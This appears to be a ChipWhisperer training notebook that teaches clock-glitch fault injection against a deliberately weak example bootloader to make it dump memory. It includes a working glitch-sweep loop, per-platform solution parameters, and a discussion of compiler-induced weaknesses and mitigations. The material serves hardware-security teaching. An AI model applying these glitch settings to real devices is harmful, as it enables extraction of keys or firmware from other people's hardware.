{
 "cells": [
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "# Part 1, Topic 3: Clock Glitching to Dump Memory (MAIN)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "---\n",
    "NOTE: This lab references some (commercial) training material on [ChipWhisperer.io](https://www.ChipWhisperer.io). You can freely execute and use the lab per the open-source license (including using it in your own courses if you distribute similarly), but you must maintain notice about this source location. Consider joining our training course to enjoy the full experience.\n",
    "\n",
    "---"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "**SUMMARY:** *In the previous lab, we learned how clock glitching can be used to get a microcontroller to skip a password check. This time, we'll look at a more practical example: getting an example bootloader to dump a large chunk of memory.*\n",
    "\n",
    "**LEARNING OUTCOMES:**\n",
    "\n",
    "* Applying previous glitch settings to new firmware\n",
    "* Checking for success and failure when glitching\n",
    "* Understanding how compiler optimizations can cause devices to behave in strange ways"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## The Situation\n",
    "\n",
    "Now that we've got our feet wet with glitching, we're going to try something a bit more realistic: an \"encrypted\" bootloader (it's actually just rot-13, but we'll pretend it's unbreakable encryption), where we make as few assumptions as possible. Our goal will be to get that bootloader to decrypt the data and send it back to us. Here's what we know about the bootloader:\n",
    "\n",
    "1. The `'p'` command is used to write encrypted firmware to the device. It takes in an encrypted ASCII-encoded string, terminated with a newline. Our first chunk of firmware is `\"516261276720736265747267206762206f686c207a76797821\"`.\n",
    "1. It does *something* to it (presumably unencrypts it, authenticates it, etc. and writes it to memory)\n",
    "1. It sends back an error code of `\"r000000\\n\"`\n",
    "\n",
    "Of immediate interest is that error code. That's the only time the bootloader communicates back with us, so attacking there is a good place to start. One thing that we'll assume is that we've got a trigger right before the error code is sent back to us. This is just a simple `trigger_high()` call, but we could also trigger on an IO line (better with the CW1200 Pro) or with a SAD trigger on a power trace (CW1200 Pro only). We've got a place to start, but let's see if we can learn more about the bootloader first.\n",
    "\n",
    "We recommend using SimpleSerial V2 for this as, though the firmware doesn't use the simpleserial protocol, the faster baud rate will help speed up glitching."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "SCOPETYPE = 'OPENADC'\n",
    "PLATFORM = 'CWLITEARM'\n",
    "SS_VER=\"SS_VER_2_1\""
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "%%bash -s \"$PLATFORM\" \"$SS_VER\"\n",
    "cd ../../../firmware/mcu/bootloader-glitch\n",
    "make PLATFORM=$1 CRYPTO_TARGET=NONE -j SS_VER=$2"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "%run \"../../Setup_Scripts/Setup_Generic.ipynb\""
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "fw_path = \"../../../firmware/mcu/bootloader-glitch/bootloader-{}.hex\".format(PLATFORM)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "cw.program_target(scope, prog, fw_path)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "The first thing we'll do is some simple power analysis to see what the device is doing when it sends data back to us. Serial communication is pretty slow, so set the ChipWhisperer to capture around 24k samples with a \"x1\" ADC clock."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "def reboot_flush():            \n",
    "    reset_target(scope)\n",
    "    #Flush garbage too\n",
    "    target.flush()\n",
    "scope.clock.adc_src = \"clkgen_x1\"\n",
    "reboot_flush()\n",
    "scope.adc.samples = 24000"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Next, capture a power trace. The string `\"p516261276720736265747267206762206f686c207a76797821\\n\"` will send the bootloader the first chunk of code and plot it. If you don't see the full serial message, you can increase `scope.adc.decimate`, which will throw out every nth ADC sample."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "scope.adc.timeout = 3\n",
    "scope.arm()\n",
    "target.write(\"p516261276720736265747267206762206f686c207a76797821\\n\")\n",
    "ret = scope.capture()\n",
    "if ret:\n",
    "    print(\"Timeout\")\n",
    "trace = scope.get_last_trace()\n",
    "\n",
    "\n",
    "cw.plot(trace)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "It doesn't look like anything too crazy is going on here - it's probably just printing some characters in a loop. Some ideas:\n",
    "\n",
    "* If we glitch at the beginning of the loop, we might be able to corrupt the loop length variable and get it to print some extra memory\n",
    "* We might be able to corrupt the loop variable and get it to read past where it's supposed to\n",
    "\n",
    "For SimpleSerial V2, this should be short enough that you can quickly loop through the entirety of the code. If your target isn't using SimpleSerial V2, you should instead select a range a bit (~1000 cycles) before the end of the loop. If this doesn't succeed, you can try going after the cycles at the beginning of the loop.\n",
    "\n",
    "**HINT: The last part of the loop should be near the beginning of the last power spike.**\n",
    "\n",
    "**HINT: If you're really stuck on where the serial print ends, you can find the time between the `trigger_high()` and `trigger_low()` call with `scope.adc.trig_count`.**"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "trig_count = scope.adc.trig_count\n",
    "print(trig_count)"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "glitch_spots = [i for i in range(1)]\n",
    "# ###################\n",
    "# Add your code here\n",
    "# ###################\n",
    "#raise NotImplementedError(\"Add your code here, and delete this.\")\n",
    "\n",
    "# ###################\n",
    "# START SOLUTION\n",
    "# ###################\n",
    "glitch_spots = list(range(trig_count - 2000, trig_count, 1))\n",
    "if SS_VER == \"SS_VER_2_1\":\n",
    "    glitch_spots = list(range(0, trig_count, 1))\n",
    "elif PLATFORM == \"CW308_SAM4S\":\n",
    "    glitch_spots = list(range(trig_count - 2300, trig_count-1800, 1))\n",
    "elif PLATFORM == \"CWLITEXMEGA\":\n",
    "    glitch_spots = list(range(9500, 9650, 1))\n",
    "# ###################\n",
    "# END SOLUTION\n",
    "# ###################"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "print(glitch_spots)"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "### Evaluating Success\n",
    "\n",
    "Detecting whether our glitch was successful or not isn't quite as trivial as in the previous lab - we don't have a nice error return that the device calculates and sends back to us. One idea is that we can look for part of the string that we sent to the device: there isn't much time between us sending it and the error code being returned. With any luck the compiler will have placed both values close in memory."
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Now the rest is up to you! Use what you learned in the previous lab to setup glitch settings and a glitch loop. Here's a few hints to make things easier:\n",
    "\n",
    "1. Try to use a fairly small width and offset range since we'll need to scan ext_offset as well here. A total range of ~2-3 for each with 0.4 steps is a good range to aim for. These numbers are for CW-Lite/Pro; for CW-Husky, convert as per Fault 1_1.\n",
    "1. Try looking for a part of the string we sent to the device to check for success.\n",
    "1. You may want to forgo graphing or plot only successes/crashes if it makes things substantially slower - we're scanning a large range of glitch settings so we'll need all the speed we can get.\n",
    "\n",
    "Set your glitch up here:"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "scope.adc.timeout = 0.1\n",
    "\n",
    "scope.cglitch_setup()\n",
    "\n",
    "def my_print(text):\n",
    "    for ch in text:\n",
    "        if (ord(ch) > 31 and ord(ch) < 127) or ch == \"\\n\": \n",
    "            print(ch, end='')\n",
    "        else:\n",
    "            print(\"0x{:02X}\".format(ord(ch)), end='')\n",
    "        print(\"\", end='')"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Again, we can use the glitch controller to make loop setup easier:"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "gc = cw.GlitchController(groups=[\"success\", \"reset\", \"normal\"], parameters=[\"width\", \"offset\", \"ext_offset\", \"tries\"])\n",
    "gc.display_stats()"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "x_bound = (-48, 48)\n",
    "y_bound = (glitch_spots[0], glitch_spots[-1])\n",
    "if scope._is_husky:\n",
    "    x_bound = gc.set_range(\"width\", 3900, 4500)\n",
    "gc.glitch_plot(plotdots={\"success\":\"+g\", \"reset\":\"xr\", \"normal\":None}, x_bound=x_bound, y_bound=y_bound,\n",
    "               x_index=\"width\", y_index=\"ext_offset\")"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "Finally, create a glitch loop. Don't forget to check all the different `glitch_spots` as well!"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "scope.glitch.repeat = 1    \n",
    "if scope._is_husky:\n",
    "    gc.set_range(\"width\", 3900, 4500)\n",
    "    gc.set_range(\"offset\", 2200, 2500)\n",
    "    gc.set_range(\"ext_offset\", glitch_spots[0], glitch_spots[-1])\n",
    "    gc.set_global_step([100])\n",
    "    gc.set_step(\"ext_offset\", glitch_spots[1] - glitch_spots[0])\n",
    "    gc.set_step(\"width\", 100)\n",
    "else:\n",
    "    gc.set_global_step(0.4)\n",
    "    if PLATFORM == \"CWLITEXMEGA\":\n",
    "        gc.set_range(\"width\", 46, 49.8)\n",
    "        gc.set_range(\"offset\", -46, -49.8)\n",
    "    elif PLATFORM == \"CW308_STM32F4\":\n",
    "        gc.set_range(\"width\", 0.4, 10)\n",
    "        gc.set_range(\"offset\", 40, 49.8)\n",
    "    elif PLATFORM == \"CWLITEARM\":\n",
    "        gc.set_range(\"width\", 0.8, 3.6)\n",
    "        gc.set_range(\"offset\", -4, -2)\n",
    "\n",
    "gc.set_range(\"ext_offset\", glitch_spots[0], glitch_spots[-1])\n",
    "gc.set_step(\"ext_offset\", glitch_spots[1] - glitch_spots[0])\n",
    "gc.set_range(\"tries\", 1, 1)\n",
    "gc.set_step(\"tries\", 1)\n",
    "gc.set_step(\"ext_offset\", 1)\n",
    "\n",
    "broken = False\n",
    "for glitch_setting in gc.glitch_values():\n",
    "    scope.glitch.offset = glitch_setting[1]\n",
    "    scope.glitch.width = glitch_setting[0]\n",
    "    scope.glitch.ext_offset = glitch_setting[2]\n",
    "    if broken:\n",
    "        break\n",
    "    if scope.adc.state:\n",
    "        #print(\"Timeout, trigger still high!\")\n",
    "        gc.add(\"reset\")\n",
    "        #Device is slow to boot?\n",
    "        reboot_flush()\n",
    "        \n",
    "    target.flush()\n",
    "    scope.arm()\n",
    "    target.write(\"p516261276720736265747267206762206f686c207a76797821\\n\")\n",
    "    ret = scope.capture()\n",
    "    if ret:\n",
    "        #print('Timeout - no trigger')\n",
    "        gc.add(\"reset\")\n",
    "\n",
    "        #Device is slow to boot?\n",
    "        reboot_flush()\n",
    "    else:\n",
    "        time.sleep(0.05)\n",
    "        output = target.read(timeout=2)\n",
    "        if \"767\" in output:\n",
    "            print(\"Glitched!\\n\\tExt offset: {}\\n\\tOffset: {}\\n\\tWidth: {}\".format(scope.glitch.ext_offset, scope.glitch.offset, scope.glitch.width))\n",
    "            gc.add(\"success\")\n",
    "            broken = True \n",
    "            for __ in range(500):\n",
    "                num_char = target.in_waiting()\n",
    "                if num_char:\n",
    "                    my_print(output)\n",
    "                    output = target.read(timeout=50)\n",
    "            time.sleep(1)\n",
    "            break\n",
    "        else:\n",
    "            gc.add(\"normal\")"
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## Diagnosing the Fault\n",
    "\n",
    "As you can see by the output, the bootloader has suffered a pretty catastrophic failure! Not only has it spilled the secret, it's also dumped a whole bunch more memory. For a real bootloader, there's probably some pretty juicy stuff in there like encryption keys or previously decrypted firmware. Let's start by taking a look at the C source code that sends the error code back:\n",
    "\n",
    "```C\n",
    "trigger_high();\n",
    "\n",
    "int i;\n",
    "for(i = 0; i < ascii_idx; i++)\n",
    "{\n",
    "    putch(ascii_buffer[i]);\n",
    "}\n",
    "trigger_low();\n",
    "state = IDLE;\n",
    "```\n",
    "\n",
    "Nothing really looks too unusual here. Before we take a look at the assembly and figure out what went wrong, let's try to make some guesses:\n",
    "\n",
    "* Maybe the glitch corrupted the `ascii_idx` variable\n",
    "    * The glitch happened near the end of the loop. It's unlikely the end of loop counter would be reloaded during the loop\n",
    "* Maybe we skipped the last `i < ascii_idx` check\n",
    "    * The glitch caused **a lot** of memory to be dumped. If we just skipped the last check it **should** only print an extra character\n",
    "* i is a signed integer: maybe we corrupted it into being a really large negative number.\n",
    "\n",
    "That last one seems to be our best theory, so let's go with that."
   ]
  },
  {
   "cell_type": "markdown",
   "metadata": {},
   "source": [
    "## The Answer\n",
    "\n",
    "Let's check the assembly for our booloader. No need to decompile the binary or recompile to assembly, since there's also a listing file created as part of the build process (`*.lss`). This file also contains C, so it makes it easy to search (try something like the `trigger_high()` call). You might notice that instead of doing a `less than or equal` or `less than` comparison like was in our C code, the compiler has instead inserted a `not equal` comparison instead! This means our original guess may not have been correct, as our assumption about what would happen if the last `i < ascii_idx` was skipped doesn't hold. In fact, it's a lot more likely that the last check was skipped (or i was set to some large value) than flipping a particular bit.\n",
    "\n",
    "This is actually a pretty unexpected change for the compiler to make, espcially since `less than`, `greater than`, and `not equal` are nearly identical instructions in terms of implementation and have both the same instruction size and speed. This showcases an important fact: the C code that you write is not directly translated to assembly. It needs to go through the compiler first, which may drastically change the intended logic of the program.\n",
    "\n",
    "Now that we know what happened, let's look at some ways to fix it.\n",
    "\n",
    "### 1. Volatile variables\n",
    "\n",
    "C includes a keyword for variables called `volatile`, which indicates that the variable may change between accesses and therefore should not have optimizations applied to it. A typical use case for `volatile` is for peripheral registers on embedded devices. It would be really bad, for example, if you were trying to wait for an IO pin to go high in your code, but the compiler decided it would be faster to only check it only once and assume it doesn't change!\n",
    "\n",
    "Try replacing `int i = 0;` before the print look with `volatile int i = 0;`, recompile, and check the listing file. Is there any other unexpected changes? What about if you consider the use case above (i.e. if `i` was a register instead of a loop variable)? Is there any way the attack might still work? If so, how might you mitigate this?\n",
    "\n",
    "### 2. Unrolling the loop\n",
    "\n",
    "Another potential way of solving this issue would be to manually unroll the loop. The message being printed by the bootloader is a constant length of 7 characters, so we could instead write:\n",
    "\n",
    "```C\n",
    "int i;\n",
    "putch(ascii_buffer[i++]);\n",
    "putch(ascii_buffer[i++]);\n",
    "putch(ascii_buffer[i++]);\n",
    "putch(ascii_buffer[i++]);\n",
    "putch(ascii_buffer[i++]);\n",
    "putch(ascii_buffer[i++]);\n",
    "putch(ascii_buffer[i++]);\n",
    "```\n",
    "\n",
    "In fact, this is something the compiler might do on its own to optimize the code, since unrolling a loop like this is faster than the loop version. It's not a good idea to blindly rely on this, however, since the compiler could choose not to make this optimization as well and might change it between builds.\n",
    "\n",
    "### 3. Checking for invalid characters\n",
    "\n",
    "Another thing to consider is that the message from the bootloader only has a limited range of characters that it prints. We could instead construct a \"safe print\" function that only prints newlines, `'r'` and ASCII digits (i.e. `'0'` to `'9'`):\n",
    "\n",
    "```C\n",
    "int safe_print(char c)\n",
    "{\n",
    "    if ((c == '\\n') ||\n",
    "       ((c >= '0') && (c <= '9')) ||\n",
    "       (c == 'r')) {\n",
    "        putch(c);\n",
    "        return 0;\n",
    "    }\n",
    "    return -1; //uh oh!\n",
    "}\n",
    "```\n",
    "\n",
    "It we went this route, it would be a good idea to make the error return a separate buffer with a bunch of null characters at the end.\n",
    "\n",
    "### 4. More generic methods\n",
    "\n",
    "More generic ways of defending against glitch attacks (memory guards, for example) are also discussed in the training slides."
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "scope.dis()\n",
    "target.dis()"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "metadata": {},
   "outputs": [],
   "source": [
    "assert broken is True"
   ]
  }
 ],
 "metadata": {
  "kernelspec": {
   "display_name": "Python 3 (ipykernel)",
   "language": "python",
   "name": "python3"
  },
  "language_info": {
   "codemirror_mode": {
    "name": "ipython",
    "version": 3
   },
   "file_extension": ".py",
   "mimetype": "text/x-python",
   "name": "python",
   "nbconvert_exporter": "python",
   "pygments_lexer": "ipython3",
   "version": "3.9.5"
  }
 },
 "nbformat": 4,
 "nbformat_minor": 4
}
